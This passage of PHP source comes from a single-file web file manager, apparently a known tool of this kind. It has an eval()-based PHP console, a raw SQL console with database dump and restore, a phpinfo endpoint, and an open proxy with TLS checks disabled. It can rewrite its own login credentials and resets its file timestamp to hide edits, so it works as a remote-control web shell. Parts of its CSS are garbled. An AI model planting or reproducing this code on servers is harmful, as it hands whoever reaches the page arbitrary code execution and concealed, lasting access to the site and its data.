		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
